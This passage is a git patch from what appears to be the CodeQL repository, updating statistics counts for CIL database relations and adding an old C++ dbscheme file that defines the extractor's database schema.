+<v>97612</v> </b> </bs> </hist> @@ -41964,12 +41952,12 @@ <b> <a>1</a> <b>2</b> -<v>94364</v> +<v>94315</v> </b> <b> <a>2</a> <b>8</b> -<v>3299</v> +<v>3297</v> </b> </bs> </hist> @@ -41985,12 +41973,12 @@ <b> <a>1</a> <b>2</b> -<v>95402</v> +<v>95352</v> </b> <b> <a>2</a> <b>4</b> -<v>2261</v> +<v>2259</v> </b> </bs> </hist> @@ -42006,12 +41994,12 @@ <b> <a>1</a> <b>2</b> -<v>95446</v> +<v>95396</v> </b> <b> <a>2</a> <b>3</b> -<v>2217</v> +<v>2216</v> </b> </bs> </hist> @@ -42027,12 +42015,12 @@ <b> <a>1</a> <b>2</b> -<v>94364</v> +<v>94315</v> </b> <b> <a>2</a> <b>8</b> -<v>3299</v> +<v>3297</v> </b> </bs> </hist> @@ -42048,12 +42036,12 @@ <b> <a>1</a> <b>2</b> -<v>98652</v> +<v>98601</v> </b> <b> <a>2</a> <b>7</b> -<v>1228</v> +<v>1227</v> </b> </bs> </hist> @@ -42069,7 +42057,7 @@ <b> <a>1</a> <b>2</b> -<v>99880</v> +<v>99828</v> </b> </bs> </hist> @@ -42085,12 +42073,12 @@ <b> <a>1</a> <b>2</b> -<v>98652</v> +<v>98601</v> </b> <b> <a>2</a> <b>7</b> -<v>1228</v> +<v>1227</v> </b> </bs> </hist> @@ -42106,7 +42094,7 @@ <b> <a>1</a> <b>2</b> -<v>99705</v> +<v>99653</v> </b> <b> <a>2</a> @@ -42127,7 +42115,7 @@ <b> <a>1</a> <b>2</b> -<v>99880</v> +<v>99828</v> </b> </bs> </hist> @@ -42143,12 +42131,12 @@ <b> <a>1</a> <b>2</b> -<v>98652</v> +<v>98601</v> </b> <b> <a>2</a> <b>7</b> -<v>1228</v> +<v>1227</v> </b> </bs> </hist> @@ -42164,7 +42152,7 @@ <b> <a>1</a> <b>2</b> -<v>101503</v> +<v>101450</v> </b> </bs> </hist> @@ -42180,7 +42168,7 @@ <b> <a>1</a> <b>2</b> -<v>101503</v> +<v>101450</v> </b> </bs> </hist> @@ -42196,7 +42184,7 @@ <b> <a>1</a> <b>2</b> -<v>101503</v> +<v>101450</v> </b> </bs> </hist> @@ -42212,7 +42200,7 @@ <b> <a>1</a> <b>2</b> -<v>101503</v> +<v>101450</v> </b> </bs> </hist> @@ -42228,7 +42216,7 @@ <b> <a>1</a> <b>2</b> -<v>101503</v> +<v>101450</v> </b> </bs> </hist> @@ -42244,7 +42232,7 @@ <b> <a>1</a> <b>2</b> -<v>101503</v> +<v>101450</v> </b> </bs> </hist> @@ -42302,15 +42290,15 @@ </relation> <relation> <name>cil_handler_type</name> -<cardinality>43829</cardinality> +<cardinality>43806</cardinality> <columnsizes> <e> <k>id</k> -<v>43829</v> +<v>43806</v> </e> <e> <k>catch_type</k> -<v>1262</v> +<v>1261</v> </e> </columnsizes> <dependencies> @@ -42324,7 +42312,7 @@ <b> <a>1</a> <b>2</b> -<v>43829</v> +<v>43806</v> </b> </bs> </hist> @@ -42345,12 +42333,12 @@ <b> <a>2</a> <b>3</b> -<v>268</v> +<v>267</v> </b> <b> <a>3</a> <b>4</b> -<v>151</v> +<v>150</v> </b> <b> <a>4</a> @@ -42385,11 +42373,11 @@ </relation> <relation> <name>cil_method_stack_size</name> -<cardinality>1726604</cardinality> +<cardinality>1725702</cardinality> <columnsizes> <e> <k>method</k> -<v>1726604</v> +<v>1725702</v> </e> <e> <k>size</k> @@ -42407,7 +42395,7 @@ <b> <a>1</a> <b>2</b> -<v>1726604</v> +<v>1725702</v> </b> </bs> </hist> @@ -42488,110 +42476,110 @@ </relation> <relation> <name>cil_public</name> -<cardinality>1910889</cardinality> +<cardinality>1909891</cardinality> <columnsizes> <e> <k>id</k> -<v>1910889</v> +<v>1909891</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_private</name> -<cardinality>928756</cardinality> +<cardinality>928271</cardinality> <columnsizes> <e> <k>id</k> -<v>928756</v> +<v>928271</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_protected</name> -<cardinality>1818249</cardinality> +<cardinality>1817300</cardinality> <columnsizes> <e> <k>id</k> -<v>1818249</v> +<v>1817300</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_internal</name> -<cardinality>41685</cardinality> +<cardinality>41663</cardinality> <columnsizes> <e> <k>id</k> -<v>41685</v> +<v>41663</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_static</name> -<cardinality>794899</cardinality> +<cardinality>794484</cardinality> <columnsizes> <e> <k>id</k> -<v>794899</v> +<v>794484</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_sealed</name> -<cardinality>356551</cardinality> +<cardinality>356365</cardinality> <columnsizes> <e> <k>id</k> -<v>356551</v> +<v>356365</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_virtual</name> -<cardinality>677592</cardinality> +<cardinality>677238</cardinality> <columnsizes> <e> <k>id</k> -<v>677592</v> +<v>677238</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_abstract</name> -<cardinality>165181</cardinality> +<cardinality>165095</cardinality> <columnsizes> <e> <k>id</k> -<v>165181</v> +<v>165095</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_class</name> -<cardinality>238557</cardinality> +<cardinality>238432</cardinality> <columnsizes> <e> <k>id</k> -<v>238557</v> +<v>238432</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_interface</name> -<cardinality>16549</cardinality> +<cardinality>16540</cardinality> <columnsizes> <e> <k>id</k> -<v>16549</v> +<v>16540</v> </e> </columnsizes> <dependencies/> @@ -42620,37 +42608,37 @@ </relation> <relation> <name>cil_specialname</name> -<cardinality>810981</cardinality> +<cardinality>810557</cardinality> <columnsizes> <e> <k>id</k> -<v>810981</v> +<v>810557</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_newslot</name> -<cardinality>422266</cardinality> +<cardinality>422046</cardinality> <columnsizes> <e> <k>id</k> -<v>422266</v> +<v>422046</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_base_class</name> -<cardinality>235574</cardinality> +<cardinality>235451</cardinality> <columnsizes> <e> <k>id</k> -<v>235574</v> +<v>235451</v> </e> <e> <k>base</k> -<v>21407</v> +<v>21396</v> </e> </columnsizes> <dependencies> @@ -42664,7 +42652,7 @@ <b> <a>1</a> <b>2</b> -<v>235574</v> +<v>235451</v> </b> </bs> </hist> @@ -42680,27 +42668,27 @@ <b> <a>1</a> <b>2</b> -<v>12314</v> +<v>12308</v> </b> <b> <a>2</a> <b>3</b> -<v>3859</v> +<v>3857</v> </b> <b> <a>3</a> <b>4</b> -<v>1613</v> +<v>1612</v> </b> <b> <a>4</a> <b>7</b> -<v>1890</v> +<v>1889</v> </b> <b> <a>7</a> <b>84</b> -<v>1608</v> +<v>1607</v> </b> <b> <a>86</a> @@ -42715,15 +42703,15 @@ </relation> <relation> <name>cil_base_interface</name> -<cardinality>125201</cardinality> +<cardinality>125136</cardinality> <columnsizes> <e> <k>id</k> -<v>68595</v> +<v>68559</v> </e> <e> <k>base</k> -<v>31193</v> +<v>31176</v> </e> </columnsizes> <dependencies> @@ -42737,27 +42725,27 @@ <b> <a>1</a> <b>2</b> -<v>47693</v> +<v>47668</v> </b> <b> <a>2</a> <b>3</b> -<v>8113</v> +<v>8109</v> </b> <b> <a>3</a> <b>5</b> -<v>6262</v> +<v>6258</v> </b> <b> <a>5</a> <b>9</b> -<v>5375</v> +<v>5372</v> </b> <b> <a>9</a> <b>25</b> -<v>1150</v> +<v>1149</v> </b> </bs> </hist> @@ -42773,22 +42761,22 @@ <b> <a>1</a> <b>2</b> -<v>22475</v> +<v>22463</v> </b> <b> <a>2</a> <b>3</b> -<v>3430</v> +<v>3428</v> </b> <b> <a>3</a> <b>5</b> -<v>2519</v> +<v>2518</v> </b> <b> <a>5</a> <b>30</b> -<v>2344</v> +<v>2342</v> </b> <b> <a>30</a> @@ -42803,11 +42791,11 @@ </relation> <relation> <name>cil_enum_underlying_type</name> -<cardinality>14068</cardinality> +<cardinality>14061</cardinality> <columnsizes> <e> <k>id</k> -<v>14068</v> +<v>14061</v> </e> <e> <k>underlying</k> @@ -42825,7 +42813,7 @@ <b> <a>1</a> <b>2</b> -<v>14068</v> +<v>14061</v> </b> </bs> </hist> @@ -42886,11 +42874,11 @@ </relation> <relation> <name>cil_type_parameter</name> -<cardinality>184849</cardinality> +<cardinality>184753</cardinality> <columnsizes> <e> <k>unbound</k> -<v>103910</v> +<v>103856</v> </e> <e> <k>index</k> @@ -42898,7 +42886,7 @@ </e> <e> <k>param</k> -<v>184849</v> +<v>184753</v> </e> </columnsizes> <dependencies> @@ -42912,17 +42900,17 @@ <b> <a>1</a> <b>2</b> -<v>74983</v> +<v>74944</v> </b> <b> <a>2</a> <b>3</b> -<v>19000</v> +<v>18990</v> </b> <b> <a>3</a> <b>13</b> -<v>8157</v> +<v>8153</v> </b> <b> <a>13</a> @@ -42943,17 +42931,17 @@ <b> <a>1</a> <b>2</b> -<v>74983</v> +<v>74944</v> </b> <b> <a>2</a> <b>3</b> -<v>19000</v> +<v>18990</v> </b> <b> <a>3</a> <b>13</b> -<v>8157</v> +<v>8153</v> </b> <b> <a>13</a> @@ -43206,7 +43194,7 @@ <b> <a>1</a> <b>2</b> -<v>184849</v> +<v>184753</v> </b> </bs> </hist> @@ -43222,7 +43210,7 @@ <b> <a>1</a> <b>2</b> -<v>184849</v> +<v>184753</v> </b> </bs> </hist> @@ -43232,11 +43220,11 @@ </relation> <relation> <name>cil_type_argument</name> -<cardinality>737362</cardinality> +<cardinality>736976</cardinality> <columnsizes> <e> <k>bound</k> -<v>481514</v> +<v>481263</v> </e> <e> <k>index</k> @@ -43244,7 +43232,7 @@ </e> <e> <k>t</k> -<v>252289</v> +<v>252158</v> </e> </columnsizes> <dependencies> @@ -43258,17 +43246,17 @@ <b> <a>1</a> <b>2</b> -<v>336298</v> +<v>336123</v> </b> <b> <a>2</a> <b>3</b> -<v>117399</v> +<v>117338</v> </b> <b> <a>3</a> <b>22</b> -<v>27816</v> +<v>27801</v> </b> </bs> </hist> @@ -43284,17 +43272,17 @@ <b> <a>1</a> <b>2</b> -<v>341206</v> +<v>341027</v> </b> <b> <a>2</a> <b>3</b> -<v>115285</v> +<v>115224</v> </b> <b> <a>3</a> <b>22</b> -<v>25023</v> +<v>25010</v> </b> </bs> </hist> @@ -43522,27 +43510,27 @@ <b> <a>1</a> <b>2</b> -<v>100353</v> +<v>100301</v> </b> <b> <a>2</a> <b>3</b> -<v>72776</v> +<v>72738</v> </b> <b> <a>3</a> <b>4</b> -<v>42503</v> +<v>42481</v> </b> <b> <a>4</a> <b>6</b> -<v>20111</v> +<v>20101</v> </b> <b> <a>6</a> <b>4208</b> -<v>16544</v> +<v>16535</v> </b> </bs> </hist> @@ -43558,17 +43546,17 @@ <b> <a>1</a> <b>2</b> -<v>190873</v> +<v>190773</v> </b> <b> <a>2</a> <b>3</b> -<v>55505</v> +<v>55476</v> </b> <b> <a>3</a> <b>20</b> -<v>5911</v> +<v>5908</v> </b> </bs> </hist> @@ -43669,19 +43657,19 @@ </relation> <relation> <name>cil_attribute</name> -<cardinality>328433</cardinality> +<cardinality>328261</cardinality> <columnsizes> <e> <k>attributeid</k> -<v>328433</v> +<v>328261</v> </e> <e> <k>element</k> -<v>248698</v> +<v>248568</v> </e> <e> <k>constructor</k> -<v>3377</v> +<v>3375</v> </e> </columnsizes> <dependencies> @@ -43695,7 +43683,7 @@ <b> <a>1</a> <b>2</b> -<v>328433</v> +<v>328261</v> </b> </bs> </hist> @@ -43711,7 +43699,7 @@ <b> <a>1</a> <b>2</b> -<v>328433</v> +<v>328261</v> </b> </bs> </hist> @@ -43727,17 +43715,17 @@ <b> <a>1</a> <b>2</b> -<v>197427</v> +<v>197324</v> </b> <b> <a>2</a> <b>3</b> -<v>36709</v> +<v>36690</v> </b> <b> <a>3</a> <b>92</b> -<v>14561</v> +<v>14553</v> </b> </bs> </hist> @@ -43753,17 +43741,17 @@ <b> <a>1</a> <b>2</b> -<v>213289</v> +<v>213178</v> </b> <b> <a>2</a> <b>3</b> -<v>31008</v> +<v>30991</v> </b> <b> <a>3</a> <b>7</b> -<v>4400</v> +<v>4398</v> </b> </bs> </hist> @@ -43799,7 +43787,7 @@ <b> <a>5</a> <b>8</b> -<v>307</v> +<v>306</v> </b> <b> <a>8</a> @@ -43809,7 +43797,7 @@ <b> <a>11</a> <b>19</b> -<v>268</v> +<v>267</v> </b> <b> <a>19</a> @@ -43905,11 +43893,11 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5560</cardinality> +<cardinality>10939</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>4624</v> +<v>7978</v> </e> <e> <k>param</k> @@ -43917,7 +43905,7 @@ </e> <e> <k>value</k> -<v>1096</v> +<v>1095</v> </e> </columnsizes> <dependencies> @@ -43931,12 +43919,12 @@ <b> <a>1</a> <b>2</b> -<v>3762</v> +<v>5089</v> </b> <b> <a>2</a> <b>3</b> -<v>789</v> +<v>2815</v> </b> <b> <a>3</a> @@ -43957,12 +43945,12 @@ <b> <a>1</a> <b>2</b> -<v>4054</v> +<v>6560</v> </b> <b> <a>2</a> <b>3</b> -<v>555</v> +<v>1402</v> </b> <b> <a>3</a> @@ -44037,12 +44025,12 @@ </b> <b> <a>96</a> -<b>122</b> +<b>308</b> <v>9</v> </b> <b> -<a>229</a> -<b>308</b> +<a>725</a> +<b>731</b> <v>9</v> </b> </bs> @@ -44105,7 +44093,7 @@ <b> <a>1</a> <b>2</b> -<v>721</v> +<v>720</v> </b> <b> <a>2</a> @@ -44119,7 +44107,7 @@ </b> <b> <a>5</a> -<b>310</b> +<b>866</b> <v>53</v> </b> </bs> @@ -44136,7 +44124,7 @@ <b> <a>1</a> <b>2</b> -<v>1067</v> +<v>1066</v> </b> <b> <a>2</a> @@ -44151,11 +44139,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>96196</cardinality> +<cardinality>103140</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>90071</v> +<v>97018</v> </e> <e> <k>index</k> @@ -44163,7 +44151,7 @@ </e> <e> <k>value</k> -<v>17119</v> +<v>17261</v> </e> </columnsizes> <dependencies> @@ -44177,12 +44165,12 @@ <b> <a>1</a> <b>2</b> -<v>85388</v> +<v>92337</v> </b> <b> <a>2</a> <b>7</b> -<v>4683</v> +<v>4680</v> </b> </bs> </hist> @@ -44198,12 +44186,12 @@ <b> <a>1</a> <b>2</b> -<v>85397</v> +<v>92347</v> </b> <b> <a>2</a> <b>7</b> -<v>4673</v> +<v>4670</v> </b> </bs> </hist> @@ -44242,8 +44230,8 @@ <v>4</v> </b> <b> -<a>18483</a> -<b>18484</b> +<a>19919</a> +<b>19920</b> <v>4</v> </b> </bs> @@ -44278,8 +44266,8 @@ <v>4</v> </b> <b> -<a>3119</a> -<b>3120</b> +<a>3150</a> +<b>3151</b> <v>4</v> </b> </bs> @@ -44296,22 +44284,22 @@ <b> <a>1</a> <b>2</b> -<v>12343</v> +<v>12298</v> </b> <b> <a>2</a> <b>3</b> -<v>2460</v> +<v>2527</v> </b> <b> <a>3</a> <b>6</b> -<v>1427</v> +<v>1446</v> </b> <b> <a>6</a> -<b>5555</b> -<v>886</v> +<b>5556</b> +<v>988</v> </b> </bs> </hist> @@ -44327,7 +44315,7 @@ <b> <a>1</a> <b>2</b> -<v>16793</v> +<v>16935</v> </b> <b> <a>2</a> @@ -44342,19 +44330,19 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6178043</cardinality> +<cardinality>6175093</cardinality> <columnsizes> <e> <k>entity</k> -<v>5687995</v> +<v>5685301</v> </e> <e> <k>location</k> -<v>3416</v> +<v>3414</v> </e> <e> <k>handle</k> -<v>274165</v> +<v>274022</v> </e> </columnsizes> <dependencies> @@ -44368,17 +44356,17 @@ <b> <a>1</a> <b>2</b> -<v>5216134</v> +<v>5213687</v> </b> <b> <a>2</a> <b>3</b> -<v>462840</v> +<v>462599</v> </b> <b> <a>3</a> <b>638</b> -<v>9020</v> +<v>9015</v> </b> </bs> </hist> @@ -44394,12 +44382,12 @@ <b> <a>1</a> <b>2</b> -<v>5448117</v> +<v>5445549</v> </b> <b> <a>2</a> <b>59</b> -<v>239877</v> +<v>239752</v> </b> </bs> </hist> @@ -44425,7 +44413,7 @@ <b> <a>36</a> <b>79</b> -<v>268</v> +<v>267</v> </b> <b> <a>79</a> @@ -44506,7 +44494,7 @@ <b> <a>20</a> <b>46</b> -<v>268</v> +<v>267</v> </b> <b> <a>46</a> @@ -44572,62 +44560,62 @@ <b> <a>1</a> <b>2</b> -<v>18937</v> +<v>18927</v> </b> <b> <a>2</a> <b>3</b> -<v>45028</v> +<v>45004</v> </b> <b> <a>3</a> <b>5</b> -<v>23917</v> +<v>23905</v> </b> <b> <a>5</a> <b>6</b> -<v>17514</v> +<v>17505</v> </b> <b> <a>6</a> <b>7</b> -<v>30140</v> +<v>30124</v> </b> <b> <a>7</a> <b>9</b> -<v>18976</v> +<v>18966</v> </b> <b> <a>9</a> <b>11</b> -<v>22090</v> +<v>22078</v> </b> <b> <a>11</a> <b>13</b> -<v>21037</v> +<v>21026</v> </b> <b> <a>13</a> <b>21</b> -<v>21466</v> +<v>21455</v> </b> <b> <a>21</a> <b>39</b> -<v>21130</v> +<v>21119</v> </b> <b> <a>39</a> <b>83</b> -<v>20574</v> +<v>20563</v> </b> <b> <a>83</a> -<b>1061</b> -<v>13352</v> +<b>1062</b> +<v>13345</v> </b> </bs> </hist> @@ -44643,52 +44631,52 @@ <b> <a>1</a> <b>2</b> -<v>62912</v> +<v>62879</v> </b> <b> <a>2</a> <b>3</b> -<v>21096</v> +<v>21085</v> </b> <b> <a>3</a> <b>4</b> -<v>46992</v> +<v>46967</v> </b> <b> <a>4</a> <b>5</b> -<v>18937</v> +<v>18927</v> </b> <b> <a>5</a> <b>6</b> -<v>19400</v> +<v>19390</v> </b> <b> <a>6</a> <b>7</b> -<v>22065</v> +<v>22054</v> </b> <b> <a>7</a> <b>11</b> -<v>23293</v> +<v>23281</v> </b> <b> <a>11</a> <b>19</b> -<v>21997</v> +<v>21986</v> </b> <b> <a>19</a> <b>41</b> -<v>20857</v> +<v>20846</v> </b> <b> <a>41</a> <b>702</b> -<v>16612</v> +<v>16604</v> </b> </bs> </hist> From 3880b48736065b030518c54d3055cd5b3c5c2f83 Mon Sep 17 00:00:00 2001 From: Ian Lynagh <igfoo@github.com> Date: Wed, 27 Jan 2021 16:31:56 +0000 Subject: [PATCH 0875/1241] C++: Add an upgrade script --- .../old.dbscheme | 2125 ++++++++++++++++ .../semmlecode.cpp.dbscheme | 2145 +++++++++++++++++ .../upgrade.properties | 3 + 3 files changed, 4273 insertions(+) create mode 100644 cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/old.dbscheme create mode 100644 cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/semmlecode.cpp.dbscheme create mode 100644 cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/upgrade.properties diff --git a/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/old.dbscheme b/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/old.dbscheme new file mode 100644 index 00000000000..c82db4c596b --- /dev/null +++ b/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/old.dbscheme @@ -0,0 +1,2125 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The date of the snapshot. + */ +snapshotDate(unique date snapshotDate : date ref); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Data used by the 'duplicate code' detection. + */ +duplicateCode( + unique int id : @duplication, + string relativePath : string ref, + int equivClass : int ref +); + +/** + * Data used by the 'similar code' detection. + */ +similarCode( + unique int id : @similarity, + string relativePath : string ref, + int equivClass : int ref +); + +/** + * Data used by the 'duplicate code' and 'similar code' detection. + */ +@duplication_or_similarity = @duplication | @similarity + +/** + * Data used by the 'duplicate code' and 'similar code' detection. + */ +#keyset[id, offset] +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref +); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://help.semmle.com/QL/learn-ql/ql/locations.html). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://help.semmle.com/QL/learn-ql/ql/locations.html). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://help.semmle.com/QL/learn-ql/ql/locations.html). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref +); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +/* + case @macroinvocations.kind of + 1 = macro expansion + | 2 = other macro reference + ; +*/ +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* + case @function.kind of + 1 = normal + | 2 = constructor + | 3 = destructor + | 4 = conversion + | 5 = operator + | 6 = builtin // GCC built-in functions, e.g. __builtin___memcpy_chk + ; +*/ +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point(int id: @function ref, unique int entry_point: @stmt ref); + +function_return_type(int id: @function ref, int return_type: @type ref); + +/** If `function` is a coroutine, then this gives the + std::experimental::resumable_traits instance associated with it, + and the variables representing the `handle` and `promise` for it. */ +coroutine( + unique int function: @function ref, + int traits: @type ref, + int handle: @variable ref, + int promise: @variable ref +); + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +member_function_this_type(unique int id: @function ref, int this_type: @type ref); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @functionorblock ref, + int index: int ref, + int type_id: @type ref +); + +overrides(int new: @function ref, int old: @function ref); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + 